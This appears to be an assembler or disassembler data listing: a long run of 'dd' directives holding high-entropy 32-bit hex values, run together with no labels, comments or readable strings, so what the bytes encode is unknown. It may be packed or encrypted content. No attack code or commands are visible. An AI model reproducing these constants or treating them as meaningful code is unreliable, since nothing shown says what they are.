0F2086F26h dd 14BF3864h, 0F4ABC343h, 0B5E00500h, 3642ED47h, 715EE60Fh dd 31296CDDh, 33BAE8AAh, 1780688Ah, 349477C8h, 0BDF5800h dd 7A7EFA9Ah, 0C161035Dh, 6C96952Eh, 1A383Eh, 0DABAD334h dd 7D256B3Dh, 5B67DA2h, 0A766E038h, 0E4F84150h, 0C4514AA0h dd 6C3E9EAEh, 3BD8030Eh, 0FFF63h, 23449711h, 0CB37ABA7h dd 18714D30h, 0B85EBACFh, 588F5913h, 0A1009F38h, 8CFE3945h dd 2F0003D8h, 9B81F9C3h, 147EB6FCh, 8C9CDA56h, 24F45F01h dd 405B064Fh, 0C13A1BBDh, 2928A061h, 0EC10831Eh, 32076CAEh dd 490A1D8Ah, 2015EA30h, 0D0D600A2h, 505CFC77h, 0B23FCEF6h dd 16588464h, 0DFC060C8h, 6700DA1h, 1A089E40h, 0EB39FE10h dd 750E81AFh, 6AF6EF5Ch, 0B8C5F4h, 0D5237922h, 6D0FCB73h dd 40BB3A00h, 8FECADC8h, 0FA8302F7h, 0D4B7345Bh, 1A4660C0h dd 6626C303h, 0F7C58FF8h, 0A80B474h, 0B30FB5h, 74E1A7E5h dd 8D467A5Dh, 19621D00h, 37267977h, 68050042h, 0FA0ACB1h dd 590755Fh, 0C1005DF0h, 51EC2A5Bh, 4810D295h, 1D00215Ah dd 2F07DCFDh, 0F2071374h, 0BCCA91A8h, 52044C70h, 134F0E7h dd 0D5B03673h, 0E50666AEh, 5DA02BD4h, 15BD0951h, 96843C4Ch dd 25938012h, 0FD06DBD8h, 3772F26Dh, 1AFF0E28h, 1899B9Eh dd 0A0C00D8Eh, 0AFB370C0h, 5293C707h, 9AB07343h, 39CA5Eh dd 84051180h, 968F0A16h, 0B900FC71h, 33D0FB9Eh, 0B24DAEC1h dd 0FD300790h, 40F3B2AAh, 5A441728h, 68874Ch, 40242B4h dd 3B635C97h, 4581FDA6h, 0A421DAC4h, 870B206Fh, 0E31D8501h dd 7F102FE5h, 587043E5h, 942A0121h, 0DC5D374h, 0CAA43465h dd 0CE496300h, 9E7C265Ch, 0C26415E1h, 6C20100Eh, 0CEF59440h dd 0E8839008h, 0B1124407h, 90464B31h, 742964CEh, 237F002Ch dd 826D18E1h, 4E00B05Ah, 0CDDF8590h, 0B2B731Eh, 817483FEh dd 460C27DEh, 3F755149h, 573B39F5h, 240EE287h, 0DB0620CAh dd 0D1032BB8h, 816508CFh, 8358B814h, 9CD12E5h, 0FBAC4206h dd 488C4805h, 0F20015D9h, 5147E724h, 195DBCh, 8C8083DCh dd 427E26EDh, 8187853Fh, 4CD61B3Fh, 41DE4A71h, 6BDCC6F8h dd 5801009Ch, 6C114D37h, 600E55ABh, 68C1B2Ch, 7845AAh dd 0F2F366DAh, 5E480F74h, 0D14C8730h, 1F3DC827h, 0A714311h dd 900C1686h, 622AC849h, 3E111FB5h, 7842190Ch, 0CF083222h dd 724EA09h, 48C40D48h, 6FECE005h, 4AE2E440h, 0C8C9D44h dd 48CC9A81h, 0A272F218h, 6035C904h, 0E4D08D86h, 0A0510AC5h dd 74CE81Ch, 7D81074Ah, 34CB8340h, 17C0D7C3h, 70C821C8h dd 1DA28F54h, 0F5FC205h, 0CF041E08h, 0BCA4157h, 0E4E08A06h dd 98DC945Eh, 0A9D1C94Eh, 30CC2C20h, 7D2107F7h, 0B006DE4h dd 0DDD91001h, 7F70762Ah, 0E09DE265h, 1A29C179h, 20730B7Ah dd 4B19282Ah, 120884FBh, 72382181h, 0CC7D1F0Bh, 0DA00106Ch dd 0DB361697h, 54D1D9CDh, 0EAB5AC04h, 67C6010Fh, 3A654E31h dd 708C467Bh, 81019846h, 6C836E0Bh, 88170C2Bh, 0B0379C7h dd 0A9972A32h, 360A655h, 50498706h, 290E0446h, 55CE4B7Ah dd 725812B8h, 0CC15A00Fh, 0E7D8045h, 5468596h, 0D7489541h dd 0B822E8h, 7EB96C27h, 19267CF5h, 8A4C444h, 88218042h dd 9447B974h, 0B785003Bh, 0DB8E24D6h, 7A620DC1h, 824881F1h dd 214AF044h, 0F06ADB6Fh, 9637974Eh, 5C5EB05Eh, 503576C0h dd 6DDB8Ch, 64776AD8h, 9C1B15C6h, 0AEC50E0Fh, 0C928C023h dd 3E420Ch, 0E7AAB825h, 24137AD9h, 3330D209h, 31F680FDh dd 1F6110EDh, 4CB6F5h, 97CF9EBFh, 330EFBABh, 40491B89h dd 0D611C481h, 0DEE500C1h, 0F3214584h, 1975A0FCh, 89E758h dd 3606FAA9h, 113AE35h, 0B594B0D9h, 0F899A71Dh, 0BD1E148Ah dd 0F954E9C8h, 66880098h, 0D8FC3CBBh, 0CC6F3A68h, 0A09A5B00h dd 1E1F7087h, 9EC8AC03h, 8076C11Ch, 0DFCEC544h, 4D060040h dd 0FFC2B4CBh, 912D0806h, 3A3176C6h, 2006D5Ah, 1A9087DCh dd 79C1AF58h, 23261B9Bh, 18989DECh, 28BEB15Ah, 9100EE6Bh dd 45481D83h, 0FFE01DAh, 0EC297049h, 4DA2F540h, 0F1584255h dd 18D83EB7h, 0BD190E68h, 45720398h, 35CE9E10h, 702938D9h dd 0A21DF4E3h, 0C4141C33h, 0F865005Ch, 0C9A98FE6h, 848500E3h dd 0CEA3D8B8h, 0A260F6F1h, 53F22DA9h, 95A51F60h, 0AA40080h dd 3F42E644h, 0ED9D2600h, 0B6C2A797h, 941E5455h, 6A200C1h dd 0B50790EFh, 2DEEED61h, 84F46000h, 5B1AC6CBh, 60C36380h dd 9100D1C5h, 6FE6239Bh, 60F6F840h, 631A2187h, 0FB0FF752h dd 0A00C65DCh, 0F8967BEAh, 38D51C0Dh, 4F2F40A7h, 4CE73425h dd 2CB8C0C6h, 8D2A0B68h, 0E0000846h, 1C5045B5h, 71013E77h dd 0C50657F5h, 0CECCF6Ch, 0F8E9006Ah, 61E7ED42h, 7E673C0h dd 0D69DB3Eh, 2056DE30h, 30C5F2E0h, 433135E5h, 4B1DD9C8h dd 7480EA94h, 0DE1B5108h, 0FB780069h, 0C5C6C72h, 0FC016813h dd 275B8783h, 52EC2F10h, 226E3867h, 14577DFAh, 141847B0h dd 811885F3h, 69087A12h, 25C10CF9h, 0E911C429h, 627804A5h dd 10C062FAh, 0E2C039CCh, 0A3E2FEABh, 0E0924600h, 0BACBC283h dd 682300FFh, 9B88F099h, 9E000308h, 36CA801Fh, 2DFC59h dd 4ED65D31h, 64B59B13h, 470FD1E4h, 60B9EDEEh, 88986DCBh dd 7A131CA5h, 34EB00A9h, 54239F86h, 0C7F02900h, 0A6747F32h dd 0D5F907A8h, 90EDE167h, 8183B3BDh, 97531D01h, 9C4C4BF7h dd 3FE9A4E8h, 14004359h dd 0CEEB3C37h, 0AD070D55h, 506CD66Dh, 88133DA0h, 21A600D2h dd 70A0C6AEh, 2B0EC231h, 47E4FF4Ah, 0BAA14E52h, 0B2C882B7h dd 81F6006Eh, 9F1C7678h, 0C050B1BDh, 205C9080h, 0AF9A0207h dd 0E002CAC3h, 1606C88h, 4F848FADh, 0F8665E51h, 0A2E6889Fh dd 2360A00h, 8640ADF3h, 0EC7C0062h, 39DD5B4Fh, 2CF67BAAh dd 0C2EA990Ch, 4CC998F4h, 0AF01112Ah, 0B313427Ch, 72D450F0h dd 8F75F254h, 56005F78h, 9028BB74h, 0E9FBD00Fh, 20B0A8h dd 3A6CA973h, 7ECF963Ch, 0BB7A6D3Fh, 0DA54FB1Eh, 99F6D3F8h dd 0CBC8900h, 0F0C9EC14h, 5880CE5Dh, 66F44F3Dh, 0D9BC68A0h dd 9F00A3E5h, 0F8F1D70Ah, 0B08E86E9h, 3DB2F020h, 27A8C870h dd 5DEA00E9h, 3348C491h, 0B4006D6Ah, 130FA184h, 3831D8A2h dd 0CC807F04h, 80BFEDC7h, 390088B0h, 1D56CFA6h, 30146462h dd 0F0C87748h, 27587202h, 3F881FCBh, 0D3830701h, 22C86F8Dh dd 13D2007Fh, 9CD62AC3h, 0EB018066h, 6217E207h, 9B4093ABh dd 923A2D8Ah, 6E1128DCh, 0B070C48h, 9FF1DA4Ah, 255C5926h dd 0C5433F01h, 189E5ED3h, 0AB32C037h, 57273AB4h, 0AFDF99C0h dd 9E5B88h, 0B2194266h, 59B6804Eh, 25001E7Bh, 990C857Ah dd 3FB14770h, 0FB007FF9h, 0EFDF67D1h, 0DB161D39h, 0C90EAFBAh dd 0CF0C5784h, 3BC27052h, 0BE8FFB95h, 97CE6801h, 0AB0002F2h dd 6100FDBDh, 7F24089h, 14D339ECh, 8AC70F58h, 455DF091h dd 0FE008072h, 11EDFCBh, 3C0BF6Ch, 5832D1B4h, 9C008E4Ch dd 16F79EEDh, 1E347919h, 40DC0504h, 0ADA758Ah, 8C018B9Fh dd 4DFE85D1h, 1DFCE6BAh, 52BEEAFh, 1B5F1C17h, 56840091h dd 104E0323h, 0EC0087F0h, 0DB61578Ch, 3E934Ah, 7A05FCBAh dd 8B1C9965h, 55470A00h, 9C864D56h, 43F43D54h, 43B8AE26h dd 8215DFBDh, 0EC63A4h, 0EC7A1ED4h, 26E32BB6h, 4414ABh dd 0A9EE23AAh, 1DF2387Fh, 25D6A800h, 66A2287Dh, 217D01h dd 8281464Eh, 0B8E3B430h, 17692F00h, 0ECD7109Ch, 87D2007Ch dd 30F684F9h, 0CF00E439h, 9242B5EAh, 0FF2F5Ch, 0C98D15E7h dd 0AF0B4CC4h, 6CC30D06h, 97894D3h, 52860247h, 2B40C400h dd 881369F6h, 0FB72DFh, 48AFD32Dh, 4D00B514h, 6494D26Bh dd 7972Fh, 4CB8FC15h, 0A7E2564Bh, 23A58F01h, 825C0DADh dd 5438450h, 619A009Bh, 3DB9CAD3h, 25001275h, 46565E78h dd 98A9E5DAh, 697C001Fh, 5058110Dh, 0BF78B26Eh, 0CC8BA824h dd 88ADAF00h, 65E7B8h, 17754197h, 3A2FC720h, 0F5ECF000h dd 40B3A51Ch, 0BA7A00E1h, 0DA41BC7Bh, 7E002967h, 3E9D1B69h dd 2C9C3419h, 9C383D63h, 5844805Bh, 0C5E395E2h, 633F200h dd 4F66A401h, 0B392017Fh, 834C91BCh, 8097F8B4h, 0EDD6F801h dd 0AC6654F7h, 1EB312D4h, 0FE2E684Bh, 0F13EEE80h, 744A3DE4h dd 3F436B03h, 0A82FA0FAh, 7ED97C39h, 939500D0h, 6573889Ah dd 113BA2E5h, 976B8356h, 0A88236DFh, 3A4CAF47h, 9930BC20h dd 76042A68h, 41366F00h, 9DDC1C29h, 0CDB00BAh, 0A69521E6h dd 6490BCA2h, 67510A02h, 60685C82h, 317F14h, 64BDC473h dd 419A4693h, 2BAC5200h, 0ACC4B9Eh, 72840016h, 4C439BFCh dd 5C2638DEh, 75005D7Ch, 4FAB73ECh, 1A0C006Bh, 0C2128118h dd 0F300FB1Eh, 0E0482AE5h, 8B3D89h, 22884199h, 977F16EEh dd 0D49B190Eh, 7E988726h, 408063B4h, 48600F75h, 0BF1FB11Ah dd 20578010h, 615DD2A5h, 0B8E95500h, 21719528h, 0A479000Eh dd 1E1A9602h, 82FCFBA1h, 0DFB5170Eh, 0E88B6071h, 73BB2492h dd 0DAF2FAh, 5363BDC1h, 655633B8h, 708ABF00h, 304390CAh dd 2F9A24FBh, 8DFD4048h, 0A4E241F3h, 114B3B07h, 0BD60BFEEh dd 1CA99CD7h, 0DC460734h, 80B1DF75h, 59CE898Ah, 2F2CAF2Dh dd 0C700B171h, 0A8EC84D1h, 0C2B70002h, 60B5DBEFh, 360098C5h dd 73416F44h, 3ADA8420h, 7D80FCF6h, 0F80ACD6Ch, 8B004BA7h dd 5962EF3h, 1FF1E1D1h, 0C9DB158Eh, 0A020FE6Fh, 0C59DB47Ah dd 0CF039700h, 70BC7764h, 0C08D0085h, 496D2F12h, 89844ACh dd 0F7E65302h, 4003EF25h, 0BA593C2h, 0C130E0E3h, 7BB7C200h dd 7648ED80h, 0E4420180h, 290662A5h, 159C1190h, 3107BC0h dd 99FDB257h, 43420010h, 0AE706102h, 0A9005AC1h, 0E95F986h dd 6E458Eh, 85ADF67Eh, 0B94FF062h, 4144CC0Bh, 6ED020C1h dd 1C0E1B63h, 0C60ABD45h, 290871C6h, 6214F27Bh, 3B7C81EAh dd 0E86D2E7Dh, 0CE28EC8Ch, 2C107484h, 1C0BE8F9h, 0FFCA4062h dd 2F8CBFDBh, 0CF0975F8h, 849E07h, 0CBBBED75h, 7DFB00A9h dd 0A5523599h, 0B900A19Bh, 65EFF1ACh, 1F5DEDh, 901E7C17h dd 22C9C659h, 56D3A600h, 0DDA87342h, 0BD7900E5h, 0EDDA2F03h dd 0A24C6C5Ch, 1DF10072h, 964FAC72h, 0B8E22680h, 16550019h dd 5E059B3Bh, 0E9009DECh, 28309133h, 3AA3B6h, 0DA3EEBD9h dd 2513BE2Ah, 0A064E100h, 6B245C06h, 517700D1h, 16C12883h dd 0F6004EBCh, 24AD3C2h, 0E0E574h, 0EE45E150h, 28F49B7Bh dd 0DEA4B805h, 6680F69Fh, 49E5C097h, 6E02FC29h, 0D4893D69h dd 485AC52h, 30120657h, 0E11210C3h, 1C00F4C9h, 0CD0F68E5h dd 7FE200F8h, 12C2C4E4h, 0D70A9AD8h, 14995C84h, 88101408h dd 0C90E6A0h, 5FFE2E84h, 833B0ED1h, 119CE9C5h, 2C12FC8Ch dd 4051B210h, 2284B4C9h, 0D862C7E8h, 60CE73A1h, 0FC6AB050h dd 0C5DC0063h, 44182879h, 2700EB5Fh, 69B981B1h, 0F98C7Dh dd 33EA9262h, 71035486h, 3C0EBFE2h, 7C8E3Eh, 0A30F4618h dd 0F8BB0FBAh, 480064AAh, 4BD98176h, 6028AF00h, 5974F4B3h dd 90A20034h, 0CE0BB487h, 4900B74Eh, 6F8B065Ah, 0E2F263h dd 5BA35719h, 5FD8CC58h, 0EB7D7F00h, 8FB4538Bh, 0D0E3000Bh dd 5BC8CE8h, 0D0F406Eh, 80B67A2Ch, 0D607CE15h, 0C7740026h dd 0A38B556Bh, 38C0BF0Dh, 2277E1D0h, 0E7E000BDh, 379E42F7h dd 0AF009D5Ah, 0F25E23F4h, 2C71752h, 56B71FC8h, 94500B39h dd 0C0D7800h, 2372410Eh, 7665001Bh, 0C5B425D2h, 0D37AEAE6h dd 0D845710Fh, 20B6401Eh, 1CCE7819h, 38F246h, 0EB89FC8Ah dd 0A701322Fh, 0F0AC9750h, 6D4F5ABh, 0A2252E37h, 0C69A8128h dd 0F1D6DADCh, 19D4C073h, 1B6A5D00h, 0B5A348DEh, 5C0505BAh dd 0C05835C3h, 0C6A5C0F2h, 0D4D2471Dh, 0FB65D49h, 197063F3h dd 0EF7D003h, 362500E1h, 8CBA3C5Bh, 293863F2h, 316DC69h dd 0AC7F2C37h, 35F698F3h, 0E0A300A2h, 0BAD6CCA5h, 0C4006AC3h dd 5ED84798h, 2400EEDh, 23EE39FEh, 62E1A284h, 25F6C492h dd 298B7000h, 528221E9h, 0C630FA3h, 0BF2012A9h, 0ADE4F45Fh dd 0BB92B91Eh, 0A4F5F600h, 7838075h, 37A5C1E6h, 4DB3D04Eh dd 89002458h, 6EF06965h, 0E82DADh, 33317A5Ch, 2A5408E6h dd 0F7FCCB02h, 0C0C32776h, 3E73Bh, 24AD5D06h, 0C51ED11h dd 0BBC6AB07h, 4CD0EE2Eh, 91FD18Eh, 0A6F10E40h, 9BF2E400h dd 0BC03F8D5h, 0DBD37844h, 0A0158035h, 6BC01C27h, 0AA873AC3h dd 8E808B8Ch, 37E67C40h, 0A8078622h, 7344EAD3h, 9084ACF3h dd 0FC6388h, 0C85829E4h, 8BE6DC26h, 7812D4F1h, 89691100h dd 9D94F6A2h, 508A789Eh, 0A988DBh, 8B37CB1Ah, 0C623C2D9h dd 2CAD700h, 12E205F0h, 5CAB72F8h, 0AA007D8Dh, 0E4A89AA5h dd 0F74CA3EFh, 1A730511h, 0D000EB47h, 0B27C82E1h, 0D276A8h dd 0BEE6F52Bh, 785F8A40h, 7B74C872h, 8F121A07h, 53F0680Dh dd 0E11070h, 0DF8243E4h dd 24989FDh, 7AB99A30h, 1665A23h, 37073D26h, 20C7AF19h dd 880E1854h, 0C44DC551h, 88AA95h, 0BA04009Fh, 73985F82h dd 113BACA7h, 0FCC8C8h, 0DE8F71B2h, 4FB76Ch, 79199C29h dd 8322015Ch, 0BC0068FCh, 17421F20h, 0EDAB0h, 11F83FE8h dd 73F7A8A6h, 8EA06A60h, 9EDE686h, 0EB78B2AAh, 5FAF5A01h dd 90DAC83Eh, 99D09A00h, 0D6A9205Ah, 60B71CF5h, 33CB80BDh dd 0ADFEE1DDh, 8C7E1700h, 267BE47Ah, 23A0CFE8h, 831CCFC0h dd 81CC3A0h, 0FD83D05Bh, 0C81899B9h, 0EA777Ah, 5D2E3F1Ah dd 70E48445h, 50001098h, 0E30AF346h, 0FCE30A3h, 1F710E3Ch dd 0D6D73B60h, 0E6008B0Fh, 0E3F448A7h, 35AAB97h, 5DEF0E2Fh dd 7B0263Bh, 94006613h, 0AFC5C725h, 0B8CAE7h, 0CDE120BBh dd 0D9C85446h, 0D376042Eh, 31C0C91Dh, 0AD6598C0h, 9AEE00DEh dd 0A33D9746h, 7B02BCF2h, 78575344h, 0E3C48F9h, 3FC00155h dd 601E6629h, 0F828E8D4h, 56F9FB00h, 0C701A38Fh, 0A5EE1D10h dd 2452C931h, 1901C48Eh, 404766CEh, 170B8EAEh, 0EB9FAC00h dd 696A3CBDh, 11C09824h, 3125DD1h, 706B5EECh, 0C1303BDCh dd 0D7C0928Eh, 7E3F8961h, 0F12874C2h, 0E3687Fh, 90BF6052h dd 0C014010Ch, 627818D0h, 3C1CC0F4h, 1A71FC01h, 73289570h dd 7145B8C4h, 9AE3FC51h, 0B33F0084h, 850FB06Bh, 0D91DCDECh dd 0AF8FD5A4h, 0A6A86004h, 58EFF6h, 71E28CB7h, 5BC2F901h dd 5D8DC803h, 0D85C48C9h, 0A1BCBEh, 23D173E8h, 700D22AAh dd 4D469001h, 8051F7BFh, 8EF3F0h, 327EE8C3h, 59840FFFh dd 184FFCEBh, 31E95000h, 64D08C40h, 0B02200BEh, 55DC7726h dd 4F60F00Bh, 0A31C6520h, 0F62D0057h, 61A55319h, 7F002FA4h dd 0BBC25FE2h, 1ECBD9AAh, 0FADE307Dh, 0F58000C9h, 0AD52F46Bh dd 0AB788200h, 1337C464h, 0FA673B36h, 0E0C13D80h, 532A8E08h dd 0F893E11Ch, 0DA3C2540h, 50EB49h, 6E9D4463h, 30BFEE7Ah dd 771403Ch, 46C1D231h, 40AF1412h, 16ECA1ECh, 0F897E82h dd 53C0A37Ch, 0CC483B7Bh, 0E0730400h, 9FC52E70h, 3BBF2B9h dd 26892F3h, 0ABA014E2h, 1A00E042h, 0FCB00C1Ch, 7173C2h dd 8FE2B587h, 49327F65h, 0ECA5EA01h, 2D5D68E3h, 90C4E520h dd 437C0010h, 0BAB305D6h, 0FE50AA30h, 32006ED8h, 9731823Ch dd 1FD6A6DAh, 0E5C39CA4h, 4CE580DFh, 9B0ABFFh, 0F211C787h dd 3BADDC00h, 0B603CC0Dh, 0A7B8A428h, 52DCF8FCh, 5C45033Fh dd 3D35096Eh, 0FA9B13A8h, 0D871DB04h, 0FC808CB2h, 11DD976h dd 0E414477Dh, 0D058FB4Fh, 80008F17h, 0DC8225A4h, 948CE42h dd 0A37C5EAh, 52006EDCh, 0B08F2D90h, 0F3EB00CDh, 44CA1754h dd 98B1D688h, 0F5467E80h, 3052B1Dh, 0EDB9401Ah, 23BFDF7Ch dd 0B3D16E57h, 4D28703Ch, 8714E500h, 6B833863h, 37DE0062h dd 0ABB420Ch, 0E1006511h, 611518BFh, 2DB423h, 83090D91h dd 68B3FA7Fh, 0B589CD0Eh, 5799604Ah, 205E10h, 0C62B6253h dd 413D8893h, 60216D0Fh, 0BD00FDEEh, 99ABFAE3h, 6F3B00F9h dd 811E3AD8h, 680179D1h, 43012709h, 0E820C386h, 0DE1300DAh dd 0A207E2FFh, 0FA05A62Ch, 0BC376D47h, 61305EC0h, 0F5FE0Eh dd 0C33609C5h, 8AF0CEABh, 7891ED00h, 633B2CD5h, 95F70299h dd 0C60CD141h, 0D50A8C0h, 125F3401h, 0C4C0602Eh, 20B9CE80h dd 0BA48D431h, 6F225Ch, 0E6CCC590h, 90E16CE0h, 52D30008h dd 86842030h, 60002B68h, 0F3F0C078h, 0BDC799h, 0B3CC243Bh dd 0A544960Bh, 682A5100h, 0B46BF9E2h, 3B2E0C23h, 47420D72h dd 0AE0230A0h, 55DDFF00h, 6933D5B0h, 3E04B071h, 0E0062B4h dd 522CB7C7h, 6D000A08h, 0A34FCA13h, 8F33DCh, 0F04CFBE2h dd 75435317h, 0EB0A2307h, 2BB76F19h, 681A0770h, 13B00E1h dd 0BAACABAAh, 0E6031CBBh, 0C14847C9h, 80BEBF79h, 9B76834Dh dd 34911D50h, 0F5DFC0E8h, 0CBFAE50Bh, 41BB3E00h, 0CA8A9682h dd 72880314h, 304C2E7Ah, 4AC0C4B2h, 0BE036C48h, 0DEF2E8B8h dd 0E0C2BA90h, 195924h, 0BAA86AD4h, 5B72AE43h, 81B03100h dd 68743A8Ah, 5D28CEBEh, 0CC65D02Fh, 0C894F09Dh, 80E4654Ch dd 786176F9h, 5EBB0051h, 0B7428F1h, 9D2C584Eh, 3900EE2Eh dd 0C9206C41h, 9AAA009Fh, 0A06744E2h, 100FD0Eh, 5E12CD36h dd 0B8EDEBh, 0B323B15Ah, 577C1EFCh, 26052875h, 0F38E8FAFh dd 0A8A9E6C3h, 0C2EBE7h, 0B66BAAAEh, 4FDD3425h, 0F5DA2F18h dd 28C69A0h, 21CB1B9Eh, 9CE855B1h, 0CC01AF33h, 0D1C95AEDh dd 62FCF251h, 0DA1B002Eh, 26F3883h, 3A020EEBh, 0C1309C58h dd 20B38EACh, 0E4A6339Eh, 50400332h, 640C87ABh, 0E5D4A097h dd 8C00D15Eh, 585A6CBFh, 9C59DF1Fh, 0FFB80220h, 9C40DD0Ah dd 0E00791EBh, 0AD9299BBh, 0C8FF940h, 965D0329h, 0B2E44BC9h dd 6EF08B98h, 62858A03h, 0AB2C9BAFh, 387FA9h, 0A16D30CEh dd 988B0351h, 42848206h, 7560D761h, 0A344002Dh, 0DD27BD33h dd 970F3A35h, 2FD1F2B9h, 789AE024h, 7A6B7106h, 67AF00E1h dd 0DBA036FBh, 9CA8E346h, 12095981h, 0CA7329h, 0C3767F51h dd 0BCD407FAh, 812E2AE4h, 60B71FDFh, 2C12D382h, 5CC0F65Ah dd 30A8BAh, 218DB0BFh, 3B332FC7h, 7F23C402h, 580A354Ch dd 0D7433B4h, 0E5E23FF8h, 1F0B8058h, 0D3C4C9h, 81D59B96h dd 189300A5h, 7B300C39h, 260EB2F4h, 417CD9A8h, 0D8AC4C7Dh dd 0F9F8F882h, 14F8C963h, 3B569C00h, 276659C8h, 0BC81B048h dd 753D01FCh, 807A5B6Dh, 4B93C170h, 0E2BA65D2h, 80A41DC5h dd 64DC09Eh, 0A184E446h, 0A50D9706h, 2869AD4Ah, 445C0C8Ch dd 0C30011CBh, 24205C3Ch, 0D233C9h, 98F803CEh, 8D612E0Dh dd 0CD01C54h, 27A2F91Ch, 95B14281h, 0EC717F90h, 0BA79FBF0h dd 108E58E0h, 50DA3303h, 19AE42F4h, 0CCE7DB07h, 6150167Bh dd 3F9DBDD4h, 0D300B367h, 336EFC17h, 75095D88h, 686B5983h dd 0C3F30Ch, 35945722h, 8880C2E5h, 9EDAFD02h, 0D0A126BDh dd 0C495A100h, 1CF5F8h, 0CB5504CDh, 66EDC0B7h, 0B1242C00h dd 0C4B6F8DDh, 0AC6C01A0h, 7B678018h, 52187ABEh, 1249A1E1h dd 877648h, 599D0628h, 78503808h, 0F8008D94h, 0D562EC47h dd 0BF3B2Fh, 0BC320976h, 55242B6Bh, 7B1BDB00h, 8F20E45Eh dd 5B9600D6h, 66EBA234h, 0E892B5A5h, 7CB2C500h, 0BD277113h dd 0ECAD58D7h, 442DBF09h, 1D724800h, 0CD002278h, 95D605E0h dd 0F895C94h, 7F2D48C4h, 0A72B123h, 84DBF3C0h, 23909B12h dd 0A122F080h, 788F006Ch, 33191E62h, 79000496h, 0EAF291BCh dd 7B23F9D3h, 627156h, 61807DDBh, 42C419A1h, 0D08FF607h dd 5EF0B09Ch, 0C08EE866h, 9E969BC0h, 7600BDDBh, 822A3EFh dd 9057059Fh, 32CA00D6h, 2B858250h, 7C90A77Ah, 0F3CF9400h dd 3D046583h, 0C2660EE8h, 22200D14h, 35A3297Ch, 1B02A198h dd 0CC370783h, 4C2C7830h, 54C5CCCBh, 0B228C008h, 7FF280F3h dd 0B8072C71h, 71B5AECh, 0EEE87A70h, 8E2700E2h, 13AB403Bh dd 0EA0E50B5h, 0E6908DD5h, 80989EC0h, 0F57798h, 866528E8h dd 4C9F1106h, 89005990h, 0A874F685h, 4F39744h, 455854CFh dd 237CD038h, 0AC384860h, 1329832Eh, 0D8B8CDAAh, 0A37295h dd 0F282C796h, 0AEA676D2h, 0A2839700h, 646B6575h, 0D3B2034Eh dd 29F063B8h, 0C0470698h, 94804103h, 0D8EBCEB1h, 4D0524h dd 6C4E1072h, 161C1E6Ah, 9E43A200h, 2C412B01h, 0A73B0003h dd 8F83CF70h, 0BA1D4BC1h dd 390F94h, 3AB94C11h, 0BCA4556h, 0F89E39D0h, 8E0638A0h dd 0D50068D9h, 3D7C1C18h, 2413A2h, 0E20FA0F0h, 0AEB96A12h dd 8B78CF00h, 0F6AF0BB5h, 0DCC40037h, 39A33DA9h, 54596553h dd 5F29149Ch, 5BF105D8h, 47C03235h, 35A75F5h, 5CB0B6D8h dd 1CB387C2h, 3B0440AFh, 0F3009B16h, 2ACF5FBDh, 578D67h dd 0C3F705A8h, 704B02A2h, 8CCA1707h, 0F9B00745h, 803656h dd 387D165Dh, 0EFE4DCC7h, 2815E900h, 533DA5ECh, 2DB0318h dd 0D11A0368h, 8C467CC8h, 8214A026h, 21930038h, 0DE31B504h dd 9B05013Ah, 3226F418h, 0FE01E4FBh, 0C7468900h, 0A56EDDCEh dd 3578004Dh, 9A902EABh, 17F4D896h, 0F700B3E0h, 9D020D99h dd 0A6BF10h, 7CE6CF42h, 0B7CE8082h, 332D7B00h, 7A22DDF9h dd 0FA4E0048h, 6A5629B3h, 403FFA6h, 0EDC72CF0h, 50669880h dd 0CB3B03A4h, 517DEAABh, 0D1473690h, 11D49F30h, 0F6AD34h dd 0B1229C66h, 5E8D4BD7h, 6B4E5501h, 26CB420Ch, 24BAADF0h dd 809C8916h, 82EC1EBh, 0FB0B559Bh, 246EFA96h, 0E0CD14h dd 0BA749Ah, 4CCF4EDFh, 0F3B09018h, 0EF4B0300h, 2884FF76h dd 3C9E3A16h, 0BF2AA283h, 0D08B012Eh, 93CEE080h, 845D826h dd 0E4292B00h, 0BA1E7Fh, 5BAE247Dh, 101B75B6h, 4005FA30h dd 0C1B4DDh, 4FBCD877h, 829B4653h, 56E43102h, 0E028F50Eh dd 1E114868h, 807D2EADh, 0E12CBFE2h, 0CF3CE0EBh, 0ABF30350h dd 0B29373h, 0F027EF6Eh, 0D2FA588Eh, 0BD00257Ch, 5EFD9F2Ah dd 42E01Ah, 652DD0FCh, 18236D6Ch, 0A74A2500h, 1F8B5F21h dd 0CC9061h, 22EFE6C7h, 0A9B17E58h, 21075A00h, 0B5B01DDBh dd 10CCB0BFh, 2584F9A7h, 0F180B9A9h, 5C2C2AF1h, 0C50E2C00h dd 73700BC9h, 0C7678C16h, 4A935900h, 2759B9h, 0A0961FDEh dd 0B125D56Fh, 0CF3EFA7Eh, 0AEB413DDh, 1E754C01h, 0BECD716h dd 994417A6h, 0CD6440E6h, 3CE432A1h, 10F53F00h, 779CA941h dd 0FB2500D3h, 0B2CF6C6Eh, 0D409BEF8h, 5C8151h, 43D38780h dd 3BC700C4h, 1B9B7A2Eh, 0C100D5F9h, 0E9F5D0ABh, 0EA66BBCDh dd 1D07FC1Dh, 0C0FCA4h, 2854A193h, 3E00E5F3h, 73D82D88h dd 98812FBBh, 91F8258Ch, 0E3AEF8C0h, 186A3F04h, 88070BAh dd 73E24Ah, 0B884FD23h, 2EFEA67Dh, 3792EE00h, 0FC0FC903h dd 5FE00E73h, 97616EE9h, 0FF716288h, 0D050DAF2h, 0F400B85Eh dd 0EB9220F9h, 2DB40790h, 80774AE6h, 310FF6FAh, 32D56E00h dd 0F5404866h, 60FBF4F7h, 3A50B6F9h, 0ED0EF12Ch, 0E0583BE9h dd 63EBFF7Fh, 0C0D80089h, 0D2C5F6F4h, 0E7004502h, 0FD532311h dd 0E82FCD48h, 8DE101F2h, 66A046D1h, 2EFC34B4h, 0BB117E0Bh dd 56C068F3h, 8139007Ah, 21FFE31h, 4E00C142h, 0AA85CFC6h dd 2B07A6h, 0ED486353h, 0B10B3114h, 73EB4E00h, 50A825F0h dd 58290E9Dh, 0E8A06B0Ch, 7748E48Bh, 6086C701h, 80CD14E1h dd 0E281EAC4h, 0E330065h, 0BA3C540Ch, 80A02DADh, 7014ED2Bh dd 0F0F919h, 14DEC5F5h, 3CFBFCh, 889DC618h, 0A2A4A8B8h dd 89FD8300h, 7EBB8D07h, 62E300A9h, 0BE8114DFh, 48011F70h dd 0B166D836h, 0F4C756D5h, 13170A0h, 26EDCDC5h, 0DCC091B9h dd 9A0293ADh, 80FAE502h, 4594E047h, 9C644DDEh, 0E40428h dd 0D161FB3h, 0FF1DB5C9h, 8F815404h, 14805A4Fh, 2ECD3A0Fh dd 808CD695h, 71CA4335h, 0EC60BAB6h, 0AA687040h, 3FB8A3h dd 0C2B3BC94h, 0FCF21B65h, 2B3AA01Eh, 60913700h, 0F417B68Ah 